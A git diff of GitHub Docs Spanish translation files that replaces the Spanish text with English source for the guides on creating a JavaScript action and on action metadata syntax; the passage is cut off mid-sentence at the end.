a/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md +++ b/translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md @@ -1,6 +1,6 @@ --- -title: Crear una acción de JavaScript -intro: 'En esta guía, aprenderás como desarrollar una acción de JavaScript usando el kit de herramientas de acciones.' +title: Creating a JavaScript action +intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.' redirect_from: - /articles/creating-a-javascript-action - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action @@ -15,54 +15,54 @@ type: tutorial topics: - Action development - JavaScript -shortTitle: Acción de JavaScript +shortTitle: JavaScript action --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Introducción +## Introduction -En esta guía, aprenderás acerca de los componentes básicos necesarios para crear y usar una acción de JavaScript empaquetada. Para centrar esta guía en los componentes necesarios para empaquetar la acción, la funcionalidad del código de la acción es mínima. La acción imprime "Hello World" en los registros o "Hello [who-to-greet]"si proporcionas un nombre personalizado. +In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. -Esta guía usa el módulo Node.js del kit de herramientas {% data variables.product.prodname_actions %} para acelerar el desarrollo. Para obtener más información, consulta el repositorio [actions/toolkit](https://github.com/actions/toolkit). +This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. -Una vez que completes este proyecto, deberías comprender cómo crear tu propia acción de JavaScript y probarla en un flujo de trabajo. +Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow. {% data reusables.github-actions.pure-javascript %} {% data reusables.github-actions.context-injection-warning %} -## Prerrequisitos +## Prerequisites -Antes de que comiences, necesitarás descargar Node.js y crear un repositorio público de {% data variables.product.prodname_dotcom %}. +Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository. -1. Descarga e instala Node.js 12.x, que incluye npm. +1. Download and install Node.js 12.x, which includes npm. https://nodejs.org/en/download/current/ -1. Crea un repositorio público nuevo en {% data variables.product.product_location %} y llámalo "hello-world-javascript-action". Para obtener más información, consulta "[Crear un repositorio nuevo](/articles/creating-a-new-repository)". +1. Create a new public repository on {% data variables.product.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)." -1. Clona el repositorio en tu computadora. Para obtener más información, consulta "[Clonar un repositorio](/articles/cloning-a-repository)". +1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." -1. Desde tu terminal, cambia los directorios en el repositorio nuevo. +1. From your terminal, change directories into your new repository. - ```shell + ```shell{:copy} cd hello-world-javascript-action ``` -1. Desde tu terminal, inicializa el directorio con npm para generar un archivo `package.json`. +1. From your terminal, initialize the directory with npm to generate a `package.json` file. - ```shell + ```shell{:copy} npm init -y ``` -## Crear un archivo de metadatos de una acción +## Creating an action metadata file -Crea un archivo nuevo que se llame `action.yml` en el directorio `hello-world-javascript-action` con el siguiente código de ejemplo. Para obtener más información, consulta la sección "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)". +Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)." -```yaml +```yaml{:copy} name: 'Hello World' description: 'Greet someone and record the time' inputs: @@ -78,37 +78,37 @@ runs: main: 'index.js' ``` -Este archivo define la entrada `who-to-greet` y la salida `time`. También informa al ejecutador de la acción cómo empezar a ejecutar esta acción de JavaScript. +This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action. -## Agregar paquetes de kit de herramientas de las acciones +## Adding actions toolkit packages -El kit de herramientas de acciones es una recopilación de los paquetes Node.js que te permiten desarrollar rápidamente acciones de JavaScript con más consistencia. +The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency. -El paquete del kit de herramientas [`@actions/Core`](https://github.com/actions/toolkit/tree/main/packages/core) proporciona una interfaz a los comandos del flujo de trabajo, a las variables de entrada y de salida, a los estados de salida y a los mensajes de depuración. +The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages. -El kit de herramientas también ofrece un paquete [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) que devuelve un cliente Octokit REST autenticado así como el acceso a los contextos de las GitHub Actions. +The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts. -El kit de herramientas ofrece más de un paquete `core` y `github`. Para obtener más información, consulta el repositorio [actions/toolkit](https://github.com/actions/toolkit). +The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. -En tu terminal, instala los paquetes `core` y `github` del kit de herramientas de acciones. +At your terminal, install the actions toolkit `core` and `github` packages. -```shell +```shell{:copy} npm install @actions/core npm install @actions/github ``` -Ahora deberías ver un directorio `node_modules` con los módulos que acabas de instalar y un archivo `package-lock.json` con las dependencias del módulo instalado y las versiones de cada módulo instalado. +Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module. -## Escribir el código de la acción +## Writing the action code -Esta acción usa el kit de herramientas para obtener la variable de entrada `who-to-greet` requerida en el archivo de metadatos de la acción e imprime "Hello [who-to-greet]" en un mensaje de depuración del registro. A continuación, el script obtiene la hora actual y la establece como una variable de salida que pueden usar las acciones que se ejecutan posteriormente en unt rabajo. +This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. -Las Acciones de GitHub proporcionan información de contexto sobre el evento de webhooks, las referencias de Git, el flujo de trabajo, la acción y la persona que activó el flujo de trabajo. Para acceder a la información de contexto, puedes usar el paquete `github`. La acción que escribirás imprimirá el evento de webhook que carga el registro. +GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log. -Agrega un archivo nuevo denominado `index.js`, con el siguiente código. +Add a new file called `index.js`, with the following code. {% raw %} -```javascript +```javascript{:copy} const core = require('@actions/core'); const github = require('@actions/github'); @@ -127,25 +127,25 @@ try { ``` {% endraw %} -Si en el ejemplo anterior de `index.js` ocurre un error, entonces `core.setFailed(error.message);` utilizará el paquete [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) del kit de herramientas de las acciones para registrar un mensaje y configurar un código de salida defectuoso. Para obtener más información, consulta la sección "[Configurar los códigos de salida para las acciones](/actions/creating-actions/setting-exit-codes-for-actions)". +If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)." -## Crear un README +## Creating a README -Puedes crear un archivo README para que las personas sepan cómo usar tu acción. Un archivo README resulta más útil cuando planificas el intercambio de tu acción públicamente, pero también es una buena manera de recordarle a tu equipo cómo usar la acción. +To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. -En tu directorio `hello-world-javascript-action`, crea un archivo `README.md` que especifique la siguiente información: +In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information: -- Una descripción detallada de lo que hace la acción. -- Argumentos necesarios de entrada y salida. -- Argumentos opcionales de entrada y salida. -- Secretos que utiliza la acción. -- Variables de entorno que utiliza la acción. -- Un ejemplo de cómo usar tu acción en un flujo de trabajo. +- A detailed description of what the action does. +- Required input and output arguments. +- Optional input and output arguments. +- Secrets the action uses. +- Environment variables the action uses. +- An example of how to use your action in a workflow. ```markdown -# Hello world docker action +# Hello world javascript action -Esta acción imprime "Hello World" o "Hello" + el nombre de una persona a quien saludar en el registro. +This action prints "Hello World" or "Hello" + the name of a person to greet to the log. ## Inputs @@ -166,34 +166,39 @@ with: who-to-greet: 'Mona the Octocat' ``` -## Confirma, etiqueta y sube tu acción a GitHub +## Commit, tag, and push your action to GitHub -{% data variables.product.product_name %} descarga cada acción ejecutada en un flujo de trabajo durante el tiempo de ejecución y la ejecuta como un paquete completo de código antes de que puedas usar comandos de flujo de trabajo como `run` para interactuar con la máquina del ejecutor. Eso significa que debes incluir cualquier dependencia del paquete requerida para ejecutar el código de JavaScript. Necesitarás verificar los paquetes `core` y `github` del kit de herramientas para el repositorio de tu acción. +{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository. -Desde tu terminal, confirma tus archivos `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json` y `README.md`. Si agregaste un archivo `.gitignore` que enumera `node_modules`, deberás eliminar esa línea para confirmar el directorio `node_modules`. +From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory. -También se recomienda agregarles una etiqueta de versión a los lanzamientos de tu acción. Para obtener más información sobre el control de versiones de tu acción, consulta la sección "[Acerca de las acciones](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)". +It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)." -```shell +```shell{:copy} git add action.yml index.js node_modules/* package.json package-lock.json README.md git commit -m "My first action is ready" git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -Ingresar tu directorio de `node_modules` puede causar problemas. Como alternativa, puedes utilizar una herramienta que se llama [`@vercel/ncc`](https://github.com/vercel/ncc) para compilar tu código y módulos en un archivo que se utilice para distribución. +Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution. -1. Instala `vercel/ncc` ejecutando este comando en tu terminal. `npm i -g @vercel/ncc` +1. Install `vercel/ncc` by running this command in your terminal. + `npm i -g @vercel/ncc` -1. Compila tu archivo `index.js`. `ncc build index.js --license licenses.txt` +1. Compile your `index.js` file. + `ncc build index.js --license licenses.txt` - Verás un nuevo archivo `dist/index.js` con tu código y los módulos compilados. También verás un archivo asociado de `dist/licenses.txt` que contiene todas las licencias de los `node_modules` que estás utilizando. + You'll see a new `dist/index.js` file with your code and the compiled modules. + You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using. -1. Cambia la palabra clave `main` en tu archivo `action.yml` para usar el nuevo archivo `dist/index.js`. `main: 'dist/index.js'` +1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file. + `main: 'dist/index.js'` -1. Si ya has comprobado tu directorio `node_modules`, eliminínalo. `rm -rf node_modules/*` +1. If you already checked in your `node_modules` directory, remove it. + `rm -rf node_modules/*` -1. Desde tu terminal, confirma las actualizaciones para tu `action.yml`, `dist/index.js` y `node_modules`. +1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files. ```shell git add action.yml dist/index.js node_modules/* git commit -m "Use vercel/ncc" @@ -201,20 +206,20 @@ git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -## Probar tu acción en un flujo de trabajo +## Testing out your action in a workflow -Ahora estás listo para probar tu acción en un flujo de trabajo. Cuando una acción esté en un repositorio privado, la acción solo puede usarse en flujos de trabajo en el mismo repositorio. Las acciones públicas pueden ser usadas por flujos de trabajo en cualquier repositorio. +Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository. {% data reusables.actions.enterprise-marketplace-actions %} -### Ejemplo usando una acción pública +### Example using a public action -Este ejemplo demuestra cómo se puede ejecutar tu acción nueva y pública desde dentro de un repositorio externo. +This example demonstrates how your new public action can be run from within an external repository. -Copia el siguiente YAML en un archivo nuevo en `.github/workflows/main.yml` y actualiza la línea `uses: octocat/hello-world-javascript-action@v1.1` con tu nombre de usuario y con el nombre del repositorio público que creaste anteriormente. También puedes reemplazar la entrada `who-to-greet` con tu nombre. +Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name. {% raw %} -```yaml +```yaml{:copy} on: [push] jobs: @@ -233,15 +238,15 @@ jobs: ``` {% endraw %} -Cuando se activa este flujo de trabajo, el ejecutor descargará la acción `hello-world-javascript-action` desde tu repositorio público y luego lo ejecutará. +When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it. -### Ejemplo usando una acción privada +### Example using a private action -Copia el siguiente ejemplo de código de flujo de trabajo en un archivo `.github/workflows/main.yml` en tu repositorio de acción. También puedes reemplazar la entrada `who-to-greet` con tu nombre. +Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% raw %} **.github/workflows/main.yml** -```yaml +```yaml{:copy} on: [push] jobs: @@ -264,12 +269,12 @@ jobs: ``` {% endraw %} -Desde tu repositorio, da clic en la pestaña de **Acciones** y selecciona la última ejecución de flujo de trabajo. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}Debrás ver la frase "Hello Mona the Octocat" o el nombre que utilizaste para la entrada `who-to-greet` y la marca de tiempo impresa en la bitácora. +From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -![Captura de pantalla del uso de tu acción en un flujo de trabajo](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) {% elsif ghes %} -![Captura de pantalla del uso de tu acción en un flujo de trabajo](/assets/images/help/repository/javascript-action-workflow-run-updated.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png) {% else %} -![Captura de pantalla del uso de tu acción en un flujo de trabajo](/assets/images/help/repository/javascript-action-workflow-run.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png) {% endif %} diff --git a/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md index f192ee582a..9c39341612 100644 --- a/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md +++ b/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: Sintaxis de metadatos para acciones de GitHub -shortTitle: Sintaxis de metadatos -intro: Puedes crear acciones para realizar tareas en tu repositorio. Las acciones requieren un archivo de metadatos que use la sintaxis YAML. +title: Metadata syntax for GitHub Actions +shortTitle: Metadata syntax +intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax. redirect_from: - /articles/metadata-syntax-for-github-actions - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions @@ -19,31 +19,31 @@ type: reference {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Acerca de la nueva sintaxis YAML para {% data variables.product.prodname_actions %} +## About YAML syntax for {% data variables.product.prodname_actions %} -Las acciones Docker y JavaScript requieren un archivo de metadatos. El nombre del archivo de metadatos debe ser `action.yml` o `action.yaml`. Los datos del archivo de metadatos definen las entradas, las salidas y el punto de entrada principal para tu acción. +Docker and JavaScript actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs and main entrypoint for your action. -Los archivos de metadatos de acción usan la sintaxis YAML. Si eres nuevo en YAML, puedes leer "[Aprender YAML en cinco minutos](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)". +Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)." -## `name (nombre)` +## `name` -**Requerido** El nombre de tu acción. {% data variables.product.prodname_dotcom %} muestra el `name` (nombre) en la pestaña **Actions** (Acciones) para ayudarte a identificar visualmente las acciones en cada trabajo. +**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job. -## `autor` +## `author` -**Opcional** El nombre del autor de las acciones. +**Optional** The name of the action's author. -## `descripción` +## `description` -**Requerido** Una descripción breve de la acción. +**Required** A short description of the action. -## `inputs (entrada)` +## `inputs` -**Opcional** Los parámetros de entrada te permiten especificar datos que la acción espera para usar durante el tiempo de ejecución. {% data variables.product.prodname_dotcom %} almacena parámetros de entrada como variables de entorno. Las Id de entrada con letras mayúsculas se convierten a minúsculas durante el tiempo de ejecución. Recomendamos usar Id de entrada en minúsculas. +**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids. -### Ejemplo +### Example -Este ejemplo configura dos entradas: numOctocats y octocatEyeColor. La entrada numOctocats no se requiere y se predeterminará a un valor de '1'. Se requiere la entrada octocatEyeColor y no tiene un valor predeterminado. Los archivos de flujo de trabajo que usan esta acción deben usar la palabra clave `with` (con) para establecer un valor de entrada para octocatEyeColor. Para obtener información sobre la sintaxis `with` (con), consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)". +This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)." ```yaml inputs: @@ -56,41 +56,41 @@ inputs: required: true ``` -Cuando especificas una entrada en un archivo de flujo de trabajo o usas un valor de entrada predeterminado, {% data variables.product.prodname_dotcom %} crea una variable de entorno para la entrada con el nombre `INPUT_`. La variable de entorno creada convierte los nombre de entrada en letras mayúscula y reemplaza los espacios con los caracteres `_`. +When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters. -Si la acción se escribió utilizando pasos de ejecución [compuestos](/actions/creating-actions/creating-a-composite-action), entonces no obtendrá automáticamente una `INPUT_`. Si la conversión no ocurre, puedes cambiar estas entradas manualmente. +If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_`. If the conversion doesn't occur, you can change these inputs manually. -Para acceder a la variable de ambiente en una acción de contenedor de Docker, debes pasar la entrada utilizando la palabra clave `args` en el archivo de metadatos de la acción. Para obtener más información sobre el archivo de metadatos de la acción para las acciones de contenedor de Docker, consulta la sección "[Crear una acción de contenedor de Docker](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)". +To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)." -Por ejemplo, si un flujo de trabajo definió las entradas de `numOctocats` y `octocatEyeColor`, el código de acción pudo leer los valores de las entradas utilizando las variables de ambiente `INPUT_NUMOCTOCATS` y `INPUT_OCTOCATEYECOLOR`. +For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables. ### `inputs.` -**Requerido** Un identificador `string` (cadena) para asociar con la entrada. El valor de `` es un mapa con los metadatos de la entrada. `` debe ser un identificador único dentro del objeto `inputs` (entradas). El ``> debe comenzar con una letra o `_` y debe contener solo caracteres alfanuméricos, `-`, o `_`. +**Required** A `string` identifier to associate with the input. The value of `` is a map of the input's metadata. The `` must be a unique identifier within the `inputs` object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. ### `inputs..description` -**Requerido** Una descripción de `string` del parámetro de entrada. +**Required** A `string` description of the input parameter. ### `inputs..required` -**Requerido** Un `boolean` (booleano) para indicar si la acción requiere el parámetro de entrada. Establecer en `true` cuando se requiera el parámetro. +**Required** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required. ### `inputs..default` -**Opcional** Una `string` que representa el valor predeterminado. El valor predeterminado se usa cuando un parámetro de entrada no se especifica en un archivo de flujo de trabajo. +**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file. ### `inputs..deprecationMessage` -**Opcional** Si se utiliza el parámetro de entrada, esta `string` se registrará como un mensaje de advertencia. Puedes utilizar esta advertencia para notificar a los usuarios que la entrada es obsoleta y mencionar cualquier alternativa. +**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives. -## `outputs (salidas)` +## `outputs` -**Opcional** Los parámetros de salida te permiten declarar datos que una acción establece. Las acciones que se ejecutan más tarde en un flujo de trabajo pueden usar el conjunto de datos de salida en acciones de ejecución anterior. Por ejemplo, si tuviste una acción que realizó la adición de dos entradas (x + y = z), la acción podría dar como resultado la suma (z) para que otras acciones la usen como entrada. +**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input. -Si no declaras una salida en tu archivo de metadatos de acción, todavía puedes configurar las salidas y utilizarlas en un flujo de trabajo. Para obtener más información acerca de la configuración de salidas en una acción, consulta "[Comandos de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)". +If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)." -### Ejemplo +### Example ```yaml outputs: @@ -100,17 +100,17 @@ outputs: ### `outputs.` -**Requerido** Un identificador `string` para asociar con la salida. El valor de `` es un mapa con los metadatos de la salida. `` debe ser un identificador único dentro del objeto `outputs` (salidas). El ``> debe comenzar con una letra o `_` y debe contener solo caracteres alfanuméricos, `-`, o `_`. +**Required** A `string` identifier to associate with the output. The value of `` is a map of the output's metadata. The `` must be a unique identifier within the `outputs` object. The `` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`. ### `outputs..description` -**Requerido** Una descripción de `string` del parámetro de salida. +**Required** A `string` description of the output parameter. -## `outputs` para las acciones compuestas +## `outputs` for composite actions -Los `outputs` **Opcionales** utilizan los mismos parámetros que los `outputs.` and los `outputs..description` (consulta la sección "[`outputs` para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), pero también incluyen el token de `value`. +**Optional** `outputs` use the same parameters as `outputs.` and `outputs..description` (see "[`outputs` for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), but also includes the `value` token. -### Ejemplo +### Example {% raw %} ```yaml @@ -129,15 +129,15 @@ runs: ### `outputs..value` -**Requerido** El valor al cual se mapeará el parámetro de salida. Puedes configurarlo a una `string` o a una expresión con contexto. Por ejemplo, puedes utilizar el contexto `steps` para configurar el `value` de una salida al valor de salida de un paso. +**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step. -Para obtener más información sobre cómo utilizar la sintaxis de contexto, consulta la sección de "[Contextos](/actions/learn-github-actions/contexts)" +For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)." -## `runs` para acciones de JavaScript +## `runs` for JavaScript actions -**Requerido** Configura la ruta al código de la acción y a la aplicación que se utiliza para ejecutar dicho código. +**Required** Configures the path to the action's code and the application used to execute the code. -### Ejemplo usando Node.js +### Example using Node.js ```yaml runs: @@ -147,17 +147,17 @@ runs: ### `runs.using` -**Requerido** La aplicación utilizada para el código especificado en [`main`](#runsmain). +**Required** The application used to execute the code specified in [`main`](#runsmain). ### `runs.main` -**Requerido** El archivo que contiene tu código de acción. La aplicación especificada en [`using`](#runsusing) ejecuta este archivo. +**Required** The file that contains your action code. The application specified in [`using`](#runsusing) executes this file. ### `pre` -**Opcional** Te permite ejecutar un script al inicio de un job, antes de que la acción `main:` comience. Por ejemplo, puedes utilizar `pre:` para ejecutar un script de configuración de pre-requisitos. La aplicación que se especifica con la sintaxis [`using`](#runsusing) ejecutará este archivo. La acción `pre:` siempre se ejecuta predeterminadamente pero puedes invalidarla utilizando [`pre-if`](#pre-if). +**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The application specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`pre-if`](#pre-if). -En este ejemplo, la acción `pre:` ejecuta un script llamado `setup.js`: +In this example, the `pre:` action runs a script called `setup.js`: ```yaml runs: @@ -169,20 +169,21 @@ runs: ### `pre-if` -**Opcional** Te permite definir las condiciones para la ejecución de la acción `pre:`. La acción `pre:` únicamente se ejecutará si se cumplen las condiciones en `pre-if`. Si no se configura, `pre-if` se configurará predefinidamente como `always()`. Nota que el contexto `step` no está disponible, ya que no se ha ejecutado ningún paso todavía. +**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. +Note that the `step` context is unavailable, as no steps have run yet. -En este ejemplo, `cleanup.js` se ejecuta únicamente en los ejecutores basados en linux: +In this example, `cleanup.js` only runs on Linux-based runners: ```yaml pre: 'cleanup.js' pre-if: runner.os == 'linux' ``` -### `publicación` +### `post` -**Opcional** Te permite ejecutar un script al final de un job, una vez que se haya completado la acción `main:`. Por ejemplo, puedes utilizar `post:` para finalizar algunos procesos o eliminar los archivos innecesarios. La aplicación que se especifica con la sintaxis [`using`](#runsusing) ejecutará este archivo. +**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The application specified with the [`using`](#runsusing) syntax will execute this file. -En este ejemplo, la acción `post:` ejecuta un script llamado `cleanup.js`: +In this example, the `post:` action runs a script called `cleanup.js`: ```yaml runs: @@ -191,41 +192,41 @@ runs: post: 'cleanup.js' ``` -La acción `post:` siempre se ejecuta predeterminadamente, pero la puedes invalidar utilizando `post-if`. +The `post:` action always runs by default but you can override this using `post-if`. ### `post-if` -**Opcional** Te permite definir condiciones para la ejecución de la acción `post:`. La acción `post` únicamente se ejecutará si se cumplen las condiciones en `post-if`. Si no se configura, `pre-if` se configurará predeterminadamente como `always()`. +**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`. -Por ejemplo, este `cleanup.js` únicamente se ejecutará en ejecutores basados en Linux: +For example, this `cleanup.js` will only run on Linux-based runners: ```yaml post: 'cleanup.js' post-if: runner.os == 'linux' ``` -## `runs` para las acciones compuestas +## `runs` for composite actions -**Requerido** Configura la ruta a la acción compuesta, y la aplicación que se utiliza para ejecutar el código. +**Required** Configures the path to the composite action, and the application used to execute the code. ### `runs.using` -**Requerido** Para utilizar una acción compuesta, configúralo como `"composite"`. +**Required** To use a composite action, set this to `"composite"`. ### `runs.steps` {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %} -**Requerido** Los pasos que planeas ejecutar en esta acción. Estos pueden ser ya sea pasos de `run` o de `uses`. +**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps. {% else %} -**Requerido** Los pasos que planeas ejecutar en esta acción. +**Required** The steps that you plan to run in this action. {% endif %} #### `runs.steps[*].run` {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %} -**Opcional** El comando que quieres ejecutar. Este puede estar dentro de la línea o ser un script en tu repositorio de la acción: +**Optional** The command you want to run. This can be inline or a script in your action repository: {% else %} -**Requerido** El comando que quieres ejecutar. Este puede estar dentro de la línea o ser un script en tu repositorio de la acción: +**Required** The command you want to run. This can be inline or a script in your action repository: {% endif %} {% raw %} @@ -238,7 +239,7 @@ runs: ``` {% endraw %} -Como alternativa, puedes utilizar `$GITHUB_ACTION_PATH`: +Alternatively, you can use `$GITHUB_ACTION_PATH`: ```yaml runs: @@ -248,43 +249,43 @@ runs: shell: bash ``` -Para obtener más información, consulta la sección "[``](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)". +For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)". #### `runs.steps[*].shell` {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %} -**Opcional** El shell en donde quieres ejecutar el comando. Puedes utilizar cualquiera de los shells listados [aquí](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell). Requerido si se configuró `run`. +**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell). Required if `run` is set. {% else %} -**Requerido** El shell en donde quieres ejecutar el comando. Puedes utilizar cualquiera de los shells listados 